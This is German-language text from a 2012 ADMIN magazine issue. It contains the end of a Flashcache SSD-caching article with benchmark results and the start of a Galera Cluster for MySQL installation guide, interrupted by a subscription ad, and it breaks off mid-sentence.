08 nr_queued(0)<br />

09 Size Hist: 1024:1 4096:9765813<br />

Abbildung 2: Schematischer Ablauf der Verwaltung eines Cache-Volumes.<br />

84 Ausgabe 04-2012 Admin www.admin-magazin.de


Flashcache<br />

Know-How<br />

Cache-Sets. Flashcache beginnt vermehrt<br />

Cache-Blöcke von der SSD auf die HDD<br />

zu schreiben, sobald die Anzahl an Dirty<br />

Blöcken den Prozentwert überschreitet.<br />

Die Auswahl der Blöcke erfolgt aufgrund<br />

der Reclaim Policy. Sie bestimmt die Blöcke,<br />

die Flashcache auswählt, wenn bei<br />

einem Write keine Blöcke mehr frei sind<br />

und wenn eine Clean-Operation ansteht.<br />

Zur Auswahl stehen „First in First out“<br />

(FIFO, per Default – der als Erstes hereinkam,<br />

fällt zuerst raus) und „Least<br />

recently used“ (LRU, der am längsten<br />

nicht verwendete).<br />

Über den Sysctl »reclaim_policy« kann<br />

zur Laufzeit eine der beiden Varianten<br />

ausgewählt werden. Wurde eine Auswahl<br />

an Blöcken getroffen, gibt es obendrein<br />

Möglichkeiten zur Steuerung der Anzahl<br />

an Clean Writes: »fallow_clean_speed«,<br />

»max_clean_ios_set« und »max_clean_<br />

ios_total« bestimmen, wie viele Writes<br />

beim Synchronisieren abgesetzt werden.<br />

Black- und Whitelists<br />

Über Black- und Whitelists lässt sich festlegen,<br />

welche Applikationen sich Flashcache<br />

zunutze machen. Das Caching<br />

einer Datenbank kann zum Beispiel<br />

wie folgt erreicht werden: mit dem Sysctl<br />

»cache_all« den Cache global deaktivieren.<br />

Den Thread Group Identifier<br />

des Datenbank-Daemons (zum Beispiel<br />

»mysqld«) zur Flashcache-Whitelist hin-<br />

fügen. Von nun an werden alle I/​Os des<br />

Daemons gecacht, andere Applikationen<br />

nutzen den Cache nicht.<br />

Dies funktioniert jedoch nur für Direct<br />

I/​O zuverlässig, also Zugriffe, die nicht<br />

den Page Cache benutzen. Ansonsten<br />

werden Writes auch von den Kernel-<br />

Flush-Threads durchgeführt, die sich<br />

nicht auf der Whitelist befinden.<br />

Blacklists sind unter anderem für Backup-<br />

Prozesse interessant, die von Zeit zu Zeit<br />

das Filesystem nach Änderungen durchforsten.<br />

Diese Read-Operationen sind ungeeignet<br />

für den SSD-Cache. Der Prozess<br />

ist ein Kandidat für die Blacklist und wird<br />

als »non‐cacheable« gekennzeichnet.<br />

Performance<br />

Performance-Messungen mit Caching-<br />

Technologien sind schwierig durchzuführen.<br />

Vor allem der Weg zu einem<br />

definierten Ausgangszustand ist holprig.<br />

Die erste Hürde stellt sich bereits bei der<br />

Auswahl eines geeigneten Benchmark-<br />

Werkzeugs. Der flexible I/​O-Tester Fio<br />

meistert sie glänzend, er wurde bereits<br />

im <strong>ADMIN</strong> 05/​2011 vorgestellt [6].<br />

Die Fio-Testdateien auszuwählen, gestaltet<br />

sich ebenfalls als schwierig: Im<br />

Echtbetrieb wird es selten der Fall sein,<br />

dass Daten, die gerade geschrieben worden<br />

sind, sofort wieder gelesen werden.<br />

Genau dieses Verhalten simulieren aber<br />

die meisten Performance-Tests. Im Falle<br />

von Flashcache beeinflusst dieses Testsetup<br />

nachweislich die Testergebnisse:<br />

Nach dem Auslegen der Testdaten auf das<br />

Volume beginnt Flashcache mit dem Dirty<br />

Cleaning. Diese I/​O-Operationen des<br />

Hintergrund-Prozesses wirken sich auf<br />

darauffolgende Lese-Tests aus. Um eine<br />

reale Gschwindigkeits-Messung zu erhalten,<br />

müssen die Tests erst dann durchgeführt<br />

werden, wenn die Synchronisation<br />

abgeschlossen ist, ansonsten muss das<br />

Dirty Cleaning zumindest als Faktor bei<br />

den Ergebnissen bedacht werden. Details<br />

zum verwendeten Testsetup sind im<br />

gleichnamigen Kasten zu finden.<br />

Die Fio-Tests setzen sich aus sequenziellem<br />

Lesen/​Schreiben (1 MByte Blockgröße)<br />

und zufälligem Lesen/​Schreiben<br />

(4 KByte Blockgröße) zusammen (siehe<br />

auch Abbildung 3 und 4). Alle Tests<br />

beinhalten die Verwendung des Page<br />

Cache, daraus Profit schlagen aber nur<br />

die Schreib-Tests, da Fio beim Lesen den<br />

Page Cache vor dem Test invalidiert.<br />

Fast wie SSD<br />

Bei jenen sequenziellen Tests, bei denen<br />

sich das Daten-Set komplett auf der<br />

SSD befindet, kommt Flashcache auch an<br />

die Performance einer reinen SSD heran.<br />

Die grünen Punkte in den Abbildungen<br />

markieren jeweils die Geschwindigkeiten<br />

der Tests mit einer reinen SSD,<br />

ohne Flashcache. Ab 32 GByte Set-Größe<br />

MAGAZIN<br />

ONLINE<br />

Linux-<strong>Magazin</strong> newsLetter<br />

Newsletter<br />

informativ<br />

kompakt<br />

Nachrichten rund um die<br />

Themen Linux und Open<br />

Source lesen Sie täglich<br />

im Newsletter des Linux-<br />

<strong>Magazin</strong>s.<br />

tagesaktuell<br />

www.admin-magazin.de<br />

www.linux-magazin.de/newsletter<br />

Admin<br />

Ausgabe 04-2012<br />

85


Know-How<br />

Flashcache<br />

Abbildung 3: Sequenzieller Lese-/​Schreib-Test mit Flashcache.<br />

Abbildung 4: Zufälliger (Random) Lese-/​Schreib-Test mit Flashcache.<br />

passen nicht mehr alle Test-Daten auf<br />

die SSD. Aufgrund von Filesystem- und<br />

Flashcache-Metadaten müssen einige<br />

100 MByte auf die Festplatte ausgelagert<br />

werden. Die Performance bei 64 GByte<br />

sinkt auf etwa 150 MByte pro Sekunde<br />

– immerhin noch 40 MByte über der<br />

durchschnittlichen Geschwindigkeit der<br />

Festplatte.<br />

Die zufälligen Tests bestätigen die Vorteile<br />

des Page Cache, selbst bei 64 GByte<br />

Random Write werden noch 1470 IOPS<br />

erreicht. Randomread fällt bereits bei 32<br />

GByte auf circa 1000 IOPS zurück, bei 64<br />

GByte zeigt sich eine drastische Reduzierung<br />

auf 182 IOPS. Für diese Einbrüche<br />

gibt es mehrere Gründe. In erster Linie<br />

übersteigt ab 32 GByte die Daten-Set-<br />

Größe die Größe der SSD, die Größe des<br />

RAMs spielt beim Lesen keine Rolle, da<br />

der Page Cache nicht eingreift. Des Weiteren<br />

wurden die Fio-Tests ohne die Option<br />

Testsetup<br />

Das Testsetup setzt sich aus folgenden Komponenten<br />

zusammen:<br />

n Intel(R) Xeon(R) CPU E5502 @ 1.87GHz<br />

sowie 12 GByte RAM<br />

n Intel Series 320 160 GByte, via Hostprotected-Area<br />

(HPA), reduziert auf 32<br />

GByte. Die Reduzierung wurde vor allem<br />

für die Verkürzung der Performance-Tests<br />

vorgenommen. Normalerweise erfolgt die<br />

Limitierung mittels HPA nur auf 70 bis 80<br />

Prozent [7]<br />

n 2 TByte Western Digital WD2002FYPS<br />

Festplatte<br />

n Flashcache Git Commit:<br />

1.0-148-g332fe0fc55ca<br />

n Fio in der Version 2.0.7<br />

n Ubuntu 12.04 mit den neuesten Updates<br />

»norandommap« aufgerufen, das heißt<br />

ein einmal gelesener Block wird nicht<br />

noch ein zweites Mal gelesen. Zu Beginn<br />

des Tests liegen bei einem 64 GByte<br />

Daten-Set circa die Hälfte auf der SSD.<br />

Fordert Fio einen zufälligen Block an, der<br />

auf der HDD liegt, wird dieser gelesen,<br />

und Flashcache cacht den Block auf der<br />

SSD. Dadurch ersetzt Flashcache einen<br />

Block auf der SSD, den Fio zum späteren<br />

Zeitpunkt vom Cache lesen hätte können.<br />

Den neuen, soeben gelesenen Block im<br />

Cache wird Fio nicht mehr benötigen, da<br />

er bereits einmal gelesen wurde.<br />

Einen Versuch wert<br />

Flashcache eignet sich hervorragend als<br />

Einstieg in die SSD-Caching-Welt. Es ist<br />

einfach zu verwenden, und die Konfigurations-Möglichkeiten<br />

sind vielfältig. Der<br />

Aufbau auf dem Linux Device Mapper<br />

verleiht Flashcache die nötige Flexibilität,<br />

um auch redundante Cache-Architekturen<br />

aufzubauen.<br />

Der fehlende Hot-Spot-Algorithmus zur<br />

Erkennung häufig benötigter Daten wird<br />

etwas durch die beiden Replacement-<br />

Policies und das Überspringen von sequenziellen<br />

Zugriffen kompensiert. Ob<br />

Flash cache mit den neuen Hot-Spot-Algorithmen<br />

gängiger Hardware-Controller<br />

mithalten kann, muss sich noch zeigen.<br />

In puncto Performance bringt Flashcache<br />

bei einer Daten-Set-Größe kleiner als die<br />

SSD-Größe kaum Overhead mit sich.<br />

Sonst hängen die Ergebnisse stark vom<br />

Zugriffsmuster der Anwendung ab.<br />

Dem Nutzer von Flashcache wird es nicht<br />

erspart bleiben, die I/O-Charakteristik<br />

seiner Applikationen näher kennenzulernen.<br />

Das soll nicht heißen, dass sich SSD-<br />

Caching ohne detaillierte Analyse des<br />

eigenen Systems nicht einsetzen lässt.<br />

Größeren Nutzen wird aber derjenige aus<br />

Flashcache ziehen, der den Cache auf<br />

seine eigene Applikationen und Bedürfnisse<br />

abstimmt. (ofr)<br />

n<br />

Infos<br />

[1] Flashcache:<br />

[https:// github. com/ facebook/ flashcache]<br />

[2] Diagramm des Linux I/​O Stack:<br />

[http:// www. thomas‐krenn. com/ en/ oss/​<br />

linux‐io‐stack‐diagram. html]<br />

[3] Flashcache Administrator Guide: [https://​<br />

github. com/ facebook/ flashcache/ blob/​<br />

master/ doc/ flashcache‐sa‐guide. txt]<br />

[4] Kernel Newbies über Linux 2.6.37: [http://​<br />

kernelnewbies. org/ Linux_2_6_37# head‐5b9d<br />

7940fa4e8294ceaac86a74beb021b2fce3e3]<br />

[5] Flashcache Google Group: [https://​<br />

groups. google. com/ forum/ #!topic/​<br />

flashcache‐dev/ I0su4NKPQ‐o]<br />

[6] Martin Steigerwald, I/​O-Benchmarks mit<br />

Fio, <strong>ADMIN</strong> 05/​2011:<br />

[http:// www. admin‐magazin. de/ Das‐Heft/​<br />

2011/ 05/ I‐O‐Benchmarks‐mit‐Fio]<br />

[7] SSD Over-Provisioning mit hdparm:<br />

[http:// www. thomas‐krenn. com/ de/ wiki/​<br />

SSD_Over‐Provisioning_mit_hdparm]<br />

Der Autor<br />

Georg Schönberger arbeitet als Technology Specialist<br />

bei der Thomas-Krenn.AG und ist Autor beim<br />

Thomas-Krenn-Wiki. Seine Arbeitsschwerpunkte<br />

reichen von Informationssicherheit über Monitoring-Plugins<br />

bis hin zu Performance-Tests.<br />

86 Ausgabe 04-2012 Admin www.admin-magazin.de


3 Ausgaben<br />

für nur 5,90 E<br />

Jetzt bestellen: 3 Hefte zum Preis von einem. Sie sparen 66 %!<br />

Kennenlernangebot:<br />

3 Ausgaben<br />

für nur 5,90 E<br />

Jetzt bestellen unter:<br />

www.android–user.de/miniabo<br />

Telefon 07131 / 2707 274 • Fax 07131 / 2707 78 601 • E-Mail: abo@android-user.de


Know-how<br />

Galera Cluster<br />

© Andrii-Vergeles, 123RF<br />

Der Galera Cluster für MySQL<br />

Abgesichert<br />

Je länger die MySQL-Datenbank in Betrieb ist, umso weniger ist sie verzichtbar. Folgerichtig stellt sich früher<br />

oder später die Frage nach der Verfügbarkeit. Eine mögliche Antwort darauf ist der Galera Cluster für MySQL.<br />

Oli Sennhauser<br />

Gibt es das nicht schon? Wieso brauchen<br />

wir jetzt noch einen Cluster für MySQL,<br />

wo doch schon diverse Ansätze existieren,<br />

um die Verfügbarkeit von MySQL-<br />

Datenbanken zu steigern? Die Antwort<br />

ist: Jede der bisherigen Lösungen hatte<br />

auch erhebliche Nachteile. Der Galera<br />

Cluster aber ist nun angetreten, um es in<br />

etlichen Punkten besser zu machen. Wo<br />

genau es jeweils Optimierungspotenzial<br />

gibt, zeigt ein genauerer Blick auf die<br />

bisher angetretenen Bewerber.<br />

Nachteile<br />

MySQL Master/​Slave Replikation: Hier<br />

entsteht ein Problem dadurch, dass durch<br />

das asynchrone Replizieren die Daten auf<br />

den Slaves immer verzögert ankommen.<br />

Fehlerhaftes Handling (zum Beispiel inkonsistente<br />

Snapshots auf dem Master<br />

oder falsches Setzen der Binary-Log-<br />

Position nach dem Einspielen) kann außerdem<br />

schnell zu Dateninkonsistenzen<br />

zwischen Master und Slave führen. Bei<br />

der alten, sogenannten Statement Based<br />

Replikation (SBR), die immer noch sehr<br />

häufig eingesetzt wird, besteht zudem die<br />

Gefahr, Inkonsistenzen durch unsichere,<br />

nicht-deterministische Abfragen zu erhalten.<br />

Das passiert etwa, wenn Sie die<br />

Abfragen »DELETE« und »UPDATE« mit<br />

»LIMIT« verwenden oder wenn Sie die<br />

Funktionen »LOAD_FILE()«, »UUID()«,<br />

»USER()«, »SYSDATE()« und andere einsetzen.<br />

Ein Absturz von Master oder Slave kann<br />

Lücken im Datenstrom bewirken oder<br />

aber die Binary Logs korrumpieren.<br />

Auch das Stoppen des Slaves bei noch<br />

nicht abgearbeiteten temporären Tabellen<br />

kann unbemerkt zu Inkonsistenzen<br />

führen. Schließlich besteht eine weitere<br />

Ursache von Inkonsistenzen darin, dass<br />

Daten direkt auf dem Slave absichtlich<br />

oder unabsichtlich manipuliert werden.<br />

Noch gefährlicher wird die Sache aber,<br />

wenn bei Master-/​Master-Replikation auf<br />

beide Knoten geschrieben werden soll.<br />

In diesem Fall sind Dateninkonsistenzen<br />

praktisch sicher. Wer das nicht glaubt,<br />

braucht danach nur einmal die Daten auf<br />

Master und Slave zu vergleichen.<br />

Aktiv/​Passiv-Failover-Cluster: Diese für<br />

Datenbanken oft genutzte Lösung hat den<br />

Nachteil, dass das Handling des ganzen<br />

Cluster recht komplex ist und besonders<br />

das Wiederinstandsetzen eines kaputten<br />

Clusters leicht zu Schwierigkeiten führen<br />

kann.<br />

Der Administrator muss sich mit dem<br />

Clustermanager (Pacemaker und Corosync<br />

oder Heartbeat) auskennen und<br />

sollte auch genau wissen, wie er mit<br />

einem Shared-Disk-System umgeht. Bei<br />

der Verwendung von DRBD kommt eine<br />

synchrone Replikation zwischen den<br />

Disk-Systemen der beiden Clusterknoten<br />

zustande. Auch diese Technik sollte<br />

der Admin genau verstehen. Stattdessen<br />

bekommen zwar viele Administratoren<br />

die Installation einigermaßen ordentlich<br />

88 Ausgabe 04-2012 Admin www.admin-magazin.de


Galera Cluster<br />

Know-how<br />

hin, im Notfall fehlen ihnen aber Übung<br />

und Kenntnis, um richtig zu reagieren.<br />

Ist DRBD im Spiel, kann zudem das I/​<br />

O-System zum Flaschenhals werden. Ein<br />

Skalieren ist hier nur durch MySQL Master/​Slave-Replikation<br />

möglich.<br />

MySQL Cluster (NDB-Cluster): Der<br />

größte Nachteil bei dieser Lösung besteht<br />

darin, dass diese Datenbank üblicherweise<br />

nicht einfach einer Applikation untergeschoben<br />

werden kann. Der MySQL-<br />

Cluster stammt aus dem Telco-Umfeld,<br />

wo hauptsächlich Primary Key-Abfragen<br />

ausgeführt werden (Key/​Value Store).<br />

Hierfür eignet er sich sehr gut und skaliert<br />

auch wunderbar. Bei den üblichen<br />

Web-Anwendungen (Web-Shops, CMS,<br />

CRM und so weiter) sind aber erheblich<br />

komplexere Abfragen meist mit Joins die<br />

Regel. Und bei denen ist der MySQL-<br />

Cluster – bedingt durch seine Architektur<br />

als Netzwerk-Datenbank (NDB) – nicht<br />

mehr sehr performant, weil jeder Join<br />

Netzverbindungen nutzen muss.<br />

Um das auszugleichen, sind Anpassungen<br />

aufseiten der Applikation nötig, die<br />

Joins in einzelne Abfragen umschreiben.<br />

Möglicherweise braucht deshalb<br />

die ganze Applikation ein neues Design,<br />

weil nur so das volle Potenzial des NDB-<br />

Clusters auszuschöpfen ist. Zudem muss<br />

man lernen, mit diesem verteilten Cluster<br />

umzugehen, der aus drei verschiedenen<br />

Komponenten besteht (Daten-Knoten,<br />

Management-Knoten und SQL-Knoten).<br />

Für den Administrator bedeuten<br />

sie zusätzliche Komplexität.<br />

Was Galera kann<br />

Optimal wäre eine Lösung,<br />

die all die oben gelisteten<br />

Probleme nicht aufweist. Genau<br />

mit diesem Ziel tritt der<br />

Galera Cluster für MySQL an.<br />

Er bietet eine unkomplizierte<br />

Lösung für Hochverfügbarkeitsanforderungen<br />

und<br />

gleichzeitig das Skalieren von<br />

Lese-Anfragen.<br />

Wie erreicht er das? Der Galera<br />

Cluster ist ein synchroner Replikationscluster,<br />

der auf der<br />

InnoDB-Storage-Engine aufbaut.<br />

Das bedeutet, dass alle<br />

Tabellen als InnoDB-Tabellen<br />

vorliegen müssen. Geht das aus bestimmten<br />

Gründen nicht, lässt sich Galera nur<br />

bedingt verwenden. Meist erfolgt das<br />

Konvertieren von Tabellen nach InnoDB<br />

aber ohne Probleme. Das synchrone Replizieren<br />

hat zudem zur Folge, dass die<br />

Slaves nicht hinterherhinken und keine<br />

Transaktionen verloren gehen können.<br />

Galera verwendet eine echte Aktiv/​<br />

Aktiv-Multi-Master-Topologie. Das bedeutet,<br />

dass der Cluster gleichzeitig von<br />

allen Knoten lesen und auf alle Knoten<br />

schreiben kann. Sobald ein Knoten aus<br />

dem Cluster fällt, merken dies die anderen<br />

Knoten automatisch. Kommt ein<br />

neuer Knoten zum Cluster hinzu, wird<br />

er automatisch in den Cluster aufgenommen<br />

und synchronisiert sich.<br />

Im Gegensatz zur Master-/​Slave-Replikation<br />

und darauf aufbauenden Lösungen<br />

kann der Galera Cluster parallel auf Zeilenebene<br />

replizieren. Damit erzielt er ein<br />

Zigfaches an Durchsatz, verglichen mit<br />

der MySQL-Master-/​Slave-Replikation.<br />

Der Schreibdurchsatz skaliert in einem<br />

gewissen Rahmen, die Lese-Zugriffe beliebig<br />

mit der Anzahl der Cluster-Knoten.<br />

Dabei kann es im Unterschied zur MySQL-<br />

Replikation aber nicht vorkommen, dass<br />

Knoten hinterherhinken, weswegen die<br />

Aktualität der Daten auch nicht überprüft<br />

zu werden braucht.<br />

Bei so vielen Vorteilen fragt man sich<br />

natürlich: Wo ist der Pferdefuß? Und tatsächlich<br />

bringt der Galera Cluster auch<br />

App App App<br />

Node 1<br />

wsrep<br />

Load balancing (LB)<br />

Node 2 Node 3<br />

wsrep<br />

Galera replication<br />

Abbildung 1: Übersichtsdarstellung des Clusters mit vorgeschaltetem Loadbalancer.<br />

Wie in dem Diagramm sollten es immer mindestens drei Knoten sein.<br />

wsrep<br />

einige Nachteile mit sich: Da MySQL die<br />

benötigten Funktionen selbst nicht bereitstellt,<br />

muss der MySQL-Code entsprechend<br />

gepachet werden. Die eigentliche<br />

Replikation realisiert dabei ein Plug-in.<br />

Glücklicherweise kann der Anwender<br />

auf fertige Binaries zurückgreifen, die<br />

die Firma Codership zur Verfügung stellt.<br />

Als Alternative lassen sich auch die entsprechenden<br />

Binaries von Percona oder<br />

MariaDB verwenden.<br />

Viel Licht, auch Schatten?<br />

Ein weiterer Nachteil besteht darin, dass<br />

es bei Hot-Spots (kleine Tabellen mit sehr<br />

hoher Änderungsrate) zu einer erhöhten<br />

Anzahl von Konflikten kommt. Dies äußert<br />

sich darin, dass die Applikation vermehrt<br />

Deadlock-Meldungen erhält und<br />

damit umgehen muss. Ein letzter Nachteil<br />

besteht schließlich darin, dass bei der<br />

initialen Vollsynchronisation, wenn ein<br />

Knoten neu in den Cluster aufgenommen<br />

werden soll, derjenige Knoten, welcher<br />

die Daten liefert (der sogenannte Donor-<br />

Knoten) für sämtliche Zugriffe blockiert<br />

wird. Das ist auch einer der Hauptgründe<br />

dafür, den Galera Cluster immer mit mindestens<br />

drei Knoten aufzusetzen.<br />

Topologie und Funktion<br />

Das empfohlene Setup für Galera Cluster<br />

besteht aus drei Knoten (<strong>Server</strong>n). Die<br />

können sowohl physischer<br />

Natur als auch virtuell sein.<br />

Sie können sich sogar über<br />

Rechenzentren hinweg verteilen,<br />

jedoch darf man dann<br />

nicht mehr mit sehr kurzen<br />

Antwortzeiten rechnen. Um<br />

das ganze System hochverfügbar<br />

zu machen, wird dem<br />

Galera Cluster ein Loadbalancer<br />

vorgeschaltet.<br />

Die Patches der Firma Codership<br />

greifen in den Transaktions-<br />

und Replikations-Mechanismus<br />

von MySQL ein.<br />

Bei einem »COMMIT«-Befehl<br />

wird das Write Set (das heißt<br />

die Transaktion plus Metadaten)<br />

vom sogenannten Masterknoten<br />

(das ist derjenige,<br />

der die Transaktion erhält)<br />

an alle anderen Knoten (die<br />

www.admin-magazin.de<br />

Admin<br />

Ausgabe 04-2012<br />

89


Know-how<br />

Galera Cluster<br />

01 #<br />

Slaves) des Clusters übermittelt. Der<br />

Cluster generiert daraufhin eine globale<br />

Transaktions-ID. Mit der kann jeder<br />

Knoten (einschließlich des Masters) den<br />

Zertifizierungstest für das Write Set vornehmen,<br />

um festzustellen, ob das Write<br />

Set anwendbar ist oder nicht. Ist dieser<br />

Zertifizierungstest erfolgreich, wird das<br />

Write Set appliziert. Andernfalls verwirft<br />

der Slave das Write Set, und der Master<br />

führt ein Rollback durch.<br />

Wenn der Slave-Knoten das Write Set<br />

nicht applizieren kann (zum Beispiel weil<br />

die Platte voll ist), wird er vom Cluster-<br />

Verbund ausgeschlossen und muss sich<br />

selbst beenden, um zu gewährleisten,<br />

dass keine Dateninkonsistenz auftritt.<br />

Beim Wiedereintritt in den Cluster muss<br />

er sich mit den andern Knoten durch<br />

einen sogenannten State Snapshot Transfer<br />

(SST) synchronisieren, um an einen<br />

konsistenten Datenbestand zu gelangen.<br />

Der SST ist eine vollständige Übertragung<br />

der Daten eines sogenannten Donor-<br />

Listing 3: MySQL-Parameter<br />

02 # Galera spezifische MySQL‐Parameter<br />

03 #<br />

04 <br />

Listing 1: MySQL läuft<br />

01 mysql> status;<br />

02 ‐‐‐‐‐‐‐‐‐‐‐‐‐‐<br />

03 mysql Ver 14.14 Distrib 5.5.22, for Linux (x86_64)<br />

using readline 5.1<br />

04 <br />

05 ...<br />

06 <strong>Server</strong> version: 5.5.20 MySQL Community <strong>Server</strong><br />

(GPL),<br />

07 wsrep_23.4.r3713,<br />

wsrep_23.4.r3713<br />

08 Protocol version: 10<br />

09 Connection: Localhost via UNIX socket<br />

Listing 2: Keine Replikation<br />

01 SHOW GLOBAL VARIABLES LIKE 'wsrep_pro%';<br />

02 +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐+<br />

03 | Variable_name | Value |<br />

04 +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐+<br />

05 | wsrep_provider | none |<br />

06 | wsrep_provider_options | |<br />

07 +‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐+‐‐‐‐‐‐‐+<br />

05 binlog_format = row<br />

06 default_storage_engine = InnoDB<br />

07 innodb_autoinc_lock_mode = 2<br />

08 innodb_locks_unsafe_for_binlog = 1<br />

09 query_cache_size = 0<br />

10 query_cache_type = 0<br />

Knotens auf einen neu in den Cluster<br />

eintretenden Empfänger-Knoten. Während<br />

dieses SST ist der Donor für SQL-<br />

Anfragen nicht verfügbar. Dies ist mit ein<br />

Grund, warum sich ein Galera-Setup mit<br />

nur zwei Knoten nicht empfiehlt.<br />

Der SST kann mittels »mysqldump«,<br />

»rsync« oder »xtrabackup« (ab 2.0) erfolgen.<br />

Bei sehr großen Datenbeständen<br />

(Faustregel: Datenmenge > RAM) ist<br />

»mysqldump« aufgrund seiner langen<br />

Laufzeit nicht mehr die geeignete SST-<br />

Methode. Die beiden anderen Methoden<br />

eignen sich dann besser.<br />

Neu beim Galera Cluster 2.0 ist der sogenannte<br />

Incremental State Transfer (IST)<br />

hinzugekommen. Er ermöglicht dem<br />

Cluster, bei einem Neustart nur die Inkremente<br />

zu übertragen und zu applizieren,<br />

was natürlich wesentlich schneller vonstatten<br />

geht. Das ist insbesondere dann<br />

von Interesse, wenn der Galera Cluster<br />

in einem WAN betrieben wird und eine<br />

volle Übertragung der gesamten Datenmenge<br />

aufgrund der geringen Bandbreite<br />

ewig dauern würde.<br />

Die Installation<br />

Der Galera Cluster läuft sowohl auf physischen<br />

Maschinen als auch auf virtuellen<br />

Systemen einwandfrei. Das empfohlene<br />

Setup besteht aus drei Knoten. Dementsprechend<br />

kann der Admin, der den<br />

Cluster einmal testen möchte, auf der<br />

Virtualisierungslösung seiner Wahl drei<br />

Linux-Knoten hochfahren. Im Idealfall<br />

gibt es pro Knoten zwei Interfaces: Eines<br />

für die Inter-Knoten-Kommunikation<br />

und eines für Kommunikation mit den<br />

Applikationen. Das folgende Beispiel verwendet<br />

CentOS 6.2 auf dem aktuellsten<br />

Stand.<br />

Zunächst sollte der Installateur sicherstellen,<br />

dass er alle Knoten im Cluster sieht.<br />

Im folgenden Setup werden folgende IP-<br />

Adressen verwendet (Tabelle 1).<br />

Tabelle 1: Ip-Adressen<br />

Knoten internes<br />

Interface<br />

node1 192.168.56.101<br />

(eth1)<br />

node2 192.168.56.102<br />

(eth1)<br />

node3 192.168.56.103<br />

(eth1)<br />

externes<br />

Interface<br />

10.0.2.1 (eth0)<br />

10.0.2.2 (eth0)<br />

10.0.2.3 (eth0)<br />

Von Knoten »node1« wird die Netzwerkverbindung<br />

auf die andern beiden Knoten<br />

getestet:<br />

node1> ping 192.168.56.102 ‐I eth1<br />

node1> ping 192.168.56.103 ‐I eth1<br />

Und dasselbe anschließend in umgekehrter<br />

Richtung.<br />

MySQL/​Galera-Pakete<br />

Um Konflikte zu vermeiden, empfiehlt<br />

es sich, eventuell installierte MySQL-5.1-<br />

Pakete vorher zu entfernen:<br />

rpm ‐e mysql‐libs‐5.1.61‐1.el6_2.1.x86_64<br />

Anschließend müssen die entsprechenden<br />

MySQL 5.5 Pakete [2] wieder installiert<br />

werden:<br />

rpm ‐i MySQL‐shared‐compat‐5.5.22‐2.el6.U<br />

x86_64.rpm<br />

rpm ‐i MySQL‐client‐5.5.22‐1.el6.x86_64.rpm<br />

Folgendes Paket ist auf CentOS 6 zusätzlich<br />

erforderlich:<br />

yum install openssl098e.x86_64<br />

Dann gilt es, die Galera-Binaries zu organisieren.<br />

Am besten geht das über die Codership<br />

Website [1]. Man braucht sowohl<br />

die gepatchten MySQL-Binaries als auch<br />

das Galera-Replication-Plugin:<br />

wget https://launchpad.net/codershipU<br />

‐mysql/5.5/5.5.20‐23.4/+download/U<br />

MySQL‐server‐5.5.20_wsrep_23.4‐1.rhel5.U<br />

x86_64.rpm<br />

wget https://launchpad.net/galera/2.x/U<br />

23.2.0/+download/galera‐23.2.0‐1.rhel5.U<br />

x86_64.rpm<br />

rpm ‐i MySQL‐server‐5.5.20_wsrep_23.4‐1.U<br />

rhel5.x86_64.rpm<br />

rpm ‐i galera‐23.2.0‐1.rhel5.x86_64.rpm<br />

Anschließend lässt sich MySQL bereits<br />

starten. So geht der Admin sicher, dass<br />

die Datenbank läuft:<br />

/etc/init.d/mysql start<br />

Starting MySQL.. SUCCESS!<br />

Natürlich ist der Galera Cluster jetzt noch<br />

nicht einsatzbereit. Zumindest läuft aber<br />

MySQL auf allen Knoten (Listing 1).<br />

Der folgende Befehl zeigt, dass die Galera-Replikation<br />

noch nicht bereit ist<br />

( Listing 2).<br />

Jeder Knoten, der dem Cluster beitreten<br />

will, muss den initialen Datenbestand<br />

90 Ausgabe 04-2012 Admin www.admin-magazin.de


Galera Cluster<br />

Know-how<br />

des Clusters übernehmen. Dieser Vorgang<br />

wird als State Snapshop Transfer (SST)<br />

bezeichnet. Für diesen SST wird ein User<br />

benötigt. Dabei benutzt man ungern den<br />

MySQL-User »root«, also muss man sich<br />

einen eigenen User auf allen drei Knoten<br />

anlegen:<br />

GRANT ALL PRIVILEGES ON *.* TO 'sst'@'U<br />

localhost'<br />

IDENTIFIED BY 'secret';<br />

GRANT ALL PRIVILEGES ON *.* TO 'sst'@'%'<br />

IDENTIFIED BY 'secret';<br />

Konfiguration des Galera<br />

Clusters<br />

Der Galera Cluster wird, wie man es von<br />

MySQL gewohnt ist, in der Datei »/etc/<br />

my.cnf« konfiguriert. Die Parameter, die<br />

Galera betreffen, beginnen mit »wsrep_«.<br />

Zusätzlich müssen auch noch einige<br />

MySQL-Parameter berücksichtigt werden.<br />

Folgende Parameter sind in der »my.cnf«<br />

in die Sektion »[mysqld]« einzupflegen<br />

(Listing 3).<br />

Der Galera Cluster verlangt zwingend das<br />

neue, in MySQL 5.1 hinzugekommene,<br />

Row Bases Replication Format (RBR).<br />

Und wie bereits weiter oben erwähnt,<br />

läuft Galera Cluster zurzeit ausschließlich<br />

mit InnoDB-Tabellen. Da der Query<br />

Cache lokal pro Knoten arbeitet und sich<br />

die Caches nicht über ihre Inhalte austauschen,<br />

muss er aus Daten-Konsistenz-<br />

Gründen ausgeschaltet werden.<br />

Die minimale Galera Cluster Konfiguration<br />

besteht aus folgenden Parametern,<br />

die ebenfalls in die »[mysqld]«-Sektion<br />

gehören: Der Parameter<br />

»wsrep_provider« teilt MySQL mit, wo<br />

es das Galera Plugin findet.<br />

»wsrep_cluster_name« benennt da<strong>gegen</strong><br />

einen Cluster im Netzwerk eindeutig. Dieser<br />

Parameter dient vor allem dazu, dass<br />

sich ein wildfremder Knoten beim Starten<br />

nicht fälschlicherweise in den Cluster<br />

verirrt. Er muss auf allen Knoten unseres<br />

Clusters gleich sein. Der Parameter<br />

»wsrep_node_name« gibt den Knoten<br />

eindeutige, sprechende Namen. Dieser<br />

Parameter muss auf allen drei Knoten<br />

unterschiedlich sein. Der Parameter<br />

»wsrep_cluster_address« teilt dem Knoten<br />

mit, wo er einen seiner Kollegen vorfindet,<br />

um mit dessen Hilfe in den Cluster-<br />

Verbund aufgenommen zu werden. Beim<br />

Starten des ersten Knotens ist natürlich<br />

noch kein weiterer Knoten verfügbar, daher<br />

lautet der Eintrag »gcomm://«. Alle<br />

anderen Knoten können beim Starten auf<br />

diesen ersten Knoten verweisen. Wird<br />

jedoch der erste Knoten neu gestartet,<br />

würde er mit »gcomm://« versuchen, einen<br />

neuen Cluster zu bilden. Daher muss<br />

